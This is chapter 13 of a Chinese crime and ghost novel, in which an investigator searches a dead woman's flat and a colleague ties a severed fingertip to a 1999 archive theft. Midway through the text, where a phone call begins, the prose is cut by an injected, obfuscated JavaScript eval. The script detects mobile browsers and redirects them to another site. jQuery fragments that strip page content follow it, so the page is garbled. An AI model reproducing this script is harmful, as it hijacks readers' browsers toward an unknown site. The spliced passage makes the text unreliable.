13


    严菁菁在那扇门外，不动声色地蛰了两日。


    第一日，她觑见田福根拎两兜菜回来，后头跟着两个丫头，书包带吃进了肩膀，把校服皱出两道深褶。次日，阳台晾出了三件衣裳，两件小一件大，大T恤的洞形单影只地悬着，无人缝补。门缝底塞进张电费单，傍晚被人从里头抽走，很仓皇，撕开了一角。


    次日晚间，田福根带大女儿出门。学校来电说二女把同学的脸抓挠得满堂彩。


    严箐箐乘间伺隙，忙行动起来，李秀娟那条脉络已是孱弱，有些事她必须做。


    门框上有道印子，不是普通灰垢，是经反复摩挲形成，严箐箐踮脚一探，触到了钥匙，藏得很潦草。进了门她闭眼寻着声画。


    李秀娟卧室吊着团黑影，西瓜霜的清嗓味闯进鼻腔，严箐箐嗅不到，但清爽感惠临了她的脑仁。一、二、三，第三块瓷砖上，一截藕白色的女人手臂正反复逡巡，柔情抚摸。严箐箐蹲下身，以指甲沿着砖缝剔出一道浅槽。那缝比别周遭略阔，像被人撬起又草草塞回。她从腰间摸出把折叠｜刀，刀尖探｜进去，轻轻一撬，砖石应声而起。


    底下是巴掌大的浅坑，铺着旧报纸。纸上压着一小团棉线，拧成极细的股，暗金色，灿灿然，沾了点陈年灰絮。她用指尖拈起，凑到鼻端，只觉得潮乎乎，埋了很久，又被人反复磨搓。这色泽她认得，在良缘暗房里的混沌中，严箐箐见过这种丝线。


    月洒一院清辉，旋即又缩了回去。窗台上晾着两双孩童的袜子，夜风过处，晃晃悠悠，像两只小手在半空里招。


    全家福中，李秀娟的面相寡淡无奇，可她眼里窝着些东西，说不清是怯懦还是认命，像一头随时挨打的牲口，又像一头挨了太多次打，再也不怕的牲口。


    严箐箐没再翻找别处，她目无余子，慢吞吞离开。


    技术中队的灯彻夜亮着。


    蒋炎武像上了发条的陀螺，从这间屋旋到那间屋，脚下生风，眼珠子火红。碎尸案那截缺失的无名指指尖，经反复检验，确系被咬下，牙弓弧度、咬合力度都符合人类的口腔特征。且断口处检见消毒水残留，次氯酸钠成分也超标，显然泡过不止一时半刻。


    凶手的意图昭然，销毁指纹。


    什么人的指纹需要被销毁？旧案，悬案，在逃人员，关联失踪人口。


    “调近二十年威北所有未破命案的指纹库，还有失踪人口的档案。”


    技术员一愣，“未破命案的？”


    “凶手销指纹，是不想让我们知道受害者是谁，或者说，不想让咱们知道受害者跟谁有关系。”


    技术员转身去调库。蒋炎武立在原地未动，左肩那根锈钉又开始嚣张作祟，像有人擎着钝凿，一下下重击骨头。他没吭声，只将右手覆上去，使劲摁，想把猖狂的疼痛摁回肉里。


    严菁菁缺位这些天，他独自扛着两个人的担子。队里人不明就里，他也懒得多言，只扔下一句“跑外勤，涉密”，便不再解释。组员们倒也识趣，从不追问，在他们眼里，蒋炎武才是撑得住场面的人。严菁菁那女人，太疏离，太幽昧，开会时往那一坐，眼珠一扫，能扒皮见骨，谁心里没点脏事，一群爷们跟裸｜着一样，这谁受得了。还是蒋队好，方正，持重，像颗定盘星。


    蒋炎武默默批文件、开会、跑现场、盯检验，通宵连通宵，常常整栋楼只剩他一间屋还亮着灯。他本想趴桌睡一个钟头，但对桌无人，时刻提醒着严箐箐的缺位。


    夜里两点，他再一次把车停进城中村，他知道严箐箐不会回来，可还是执拗地往六层爬，边爬边拨号，依旧无法接通。


    蒋炎武败兴而归，把手机掷副驾上，头往后一仰，盯着车顶那块污渍发呆。锈钉子又开始大张旗鼓地闹腾，他吞了两粒止痛药，干咽下去，蒋炎武已经很久没法在晨起时做引体向上，那曾是他保持二十年的习惯，风雨无阻，如今只能荒在那。


    左肩的每一次剧痛，都在提醒他当年的丢盔卸甲。


    米和那些阴阳怪气的讥诮，他受得住。人嘴两张皮，爱说什么说什么。真正让他夜半惊醒的，是老贾纵身跃下前回望他的那一眼。


    长夜难寐时他会想，如果，如果他有严箐箐的能耐呢，如果他也能窥探幽冥，他一定会去找老贾唠唠，究竟是怎样的仇山怨海，才值得对方用死来举报自己。他需要问个分明，哪怕老贾不答，只那么立着，递他一瞥也好。蒋炎武自认眼睛毒辣，他一定能在那一瞥里，看清对方是恨，是愧，还是空空如也。


    他兜了一圈，又回到队里加班。


    比对跑了三个小时，数据库里筛了一遍又一遍，最后弹出一条记录：相似度87.3%。样本来源是1999年6月20日，市档案馆办公室的失窃案，现场提取到了半枚指纹，一直悬在那儿，无人认领。


    87.3%，缺了无名指，缺了最关键的那截纹路，没法完全咬死，可那相似度已是好结果。


    蒋炎武调出卷宗。1999年6月20日，市档案馆三楼办公室失窃，丢了台老式照相机、几卷胶片。报案人是当时的副馆长，姓严。现场勘查提取到半枚指纹，比对过所有在职人员，排除。后来归档入库，一躺就是二十七年。


    蒋炎武脑子里翻江倒海，咕嘟嘟沸着，却捞不出底下煮的是什么。左肩的疼痛愈发肆无忌惮，连带着脑仁也开始混沌不清。卷宗上的字一个个飘起来，挣脱了纸面。他只能搁下卷宗，起身往水房去。


    冷水兜头泼下，他撑着洗手台喘了几口，抬眼看镜子，眼窝塌成两个深坑，胡茬青灰一片，看着残喘，又看着可怜。


    走廊尽头兀的掠过一团影。他顿住，定睛再看，什么也没有。水房的白炽灯嗡啊嗡啊，把走廊照得死白。


    1999年6月，1999年6月。他靠墙闭眼，死死抠着左肩，脸上冷水冷汗融着，1999年6月，他已经揪到了记忆的尾巴，快了，快了。


    1999年6月。


    猝然，蒋炎武睁眼。


    1999年6月，严菁菁的父亲死了，妹妹死了，都死在那栋市档案馆里。


    碎尸案的死者，会不会是当年盗窃案的嫌疑人？


    蒋炎武从内兜摸出另一部手机，机身老旧，屏幕皲裂，那是从黑市淘来的东西，没有登记，无法追踪，专用于不能留痕的场合。他按下一串号码。


    拨过去，响了三声，那头接起。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216474|196306||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“解禹，照片发过去了，我需要她的住址，速查。”


    蒋炎武把照片从加密通道传过去，严菁菁的脸面无表情，那是很多年前在西北拍的，拙朴的黄土地，风沙粗粝，至今都嵌在她眉眼之中。


    此时此刻的档案馆。


    保洁手持拖把从长廊尽头而来。


    严菁菁身形一闪，没入女厕最深处那间隔间，反手将门锁死，旋即蹲上马桶，双脚悬空。


    拖把在瓷砖上拖出绵长的唰唰，由远及近，接着是水龙头哗然，烘手机轰鸣，最后是门被带上的喀嚓。


    一切归于寂静。


    严箐箐保持着折叠般的蹲姿，纹丝不动，她听见自己的呼吸浊重而绵长。腕上秒针一格格向前跳动，她阖目默数，数到困意漫涨，便咬破舌尖，血珠一涌，涣散的瞳仁又聚起光来。


    凌晨三点。


    她从隔间出来，腿麻得打颤，沿着走廊慢吞吞地挪。应急灯在地脚线上打下绿光，把她影子抻得极长，曲曲折折匍匐在地，像条青蛇。


    走廊尽头豁着一扇窗，恰能瞧见严苗苗坠楼的那片天台。


    夜色淹了整座城，灯火星星落落，匀停地吐纳着，偶尔一两声夜行车驶过。


    严箐箐掏出那只铜质的电影镜头，举到眼前，对着窗外看。


    镜头里，世界翻了个个儿。楼宇倒悬，灯火倒悬，天际线像一道豁口，向下淌着光。她缓缓移动镜筒，掠过画框，掠过门廊，掠过窗台——


    她浑身一激灵。


    镜头里，窗台上坐着一个人。


    藏青色制服裹着一截干瘦的脊梁，佝偻着，他面朝窗外，两条腿悬在外头。夜风从窗口灌入，扑在他身上，吹不动他的衣角，吹不乱他的头发。


    那头发在镜头里倒着长，齐刷刷刺向地面，又硬又密，像水沟底冒出的水草，长疯了。


    严菁菁的血液凝住了。


    她认识那背影。藏青色制服是她父亲严柏青穿了三十年的工装，肩线的磨损，领口的褶皱，甚至后颈那颗绿豆大小的黑痣。


    严菁菁想张嘴喊，可喉咙像被人塞了把滚烫的煤渣，堵得严严实实，只能咕噜，像烧开的水，像临死的鱼。


    那背影动了。慢。极慢。像年久失修的旧磨盘，被人推着不情不愿地开始转。脖颈传来响动，嘎嘣，嘎嘣，嘎嘣，一声复一声，那颗脑袋正一寸寸地转过来。


    严菁菁想跑。两条腿却成了木头，戳在那，不听使唤，不归她管。


    窗台那团影子已转过半边脸，五官全糊在黑里头，可她认得那轮廓，是她父亲年轻时的侧影，是她记忆里那张温的，善的，笑模笑样的脸。可那双眼睛没了，黑黢黢凹成两个硕大的坑洞，扒开了严箐箐的躯囊，吸纳着她所有的跋履山川，她重新成了赤条条的婴童形态。


    她想尖叫，想逃走，想闭眼假装什么都没看见。


    可她动不了。


    镜头里，那颗头颅还在转，还在转，已经转过了九十度，一百二十度，一百八十度。严菁菁忽然意识到，人类脖颈的极限，无法支撑这个角度。这是断，这是折，这是要人命的角度。


    可他还在转。


    嘎吱——嘎吱——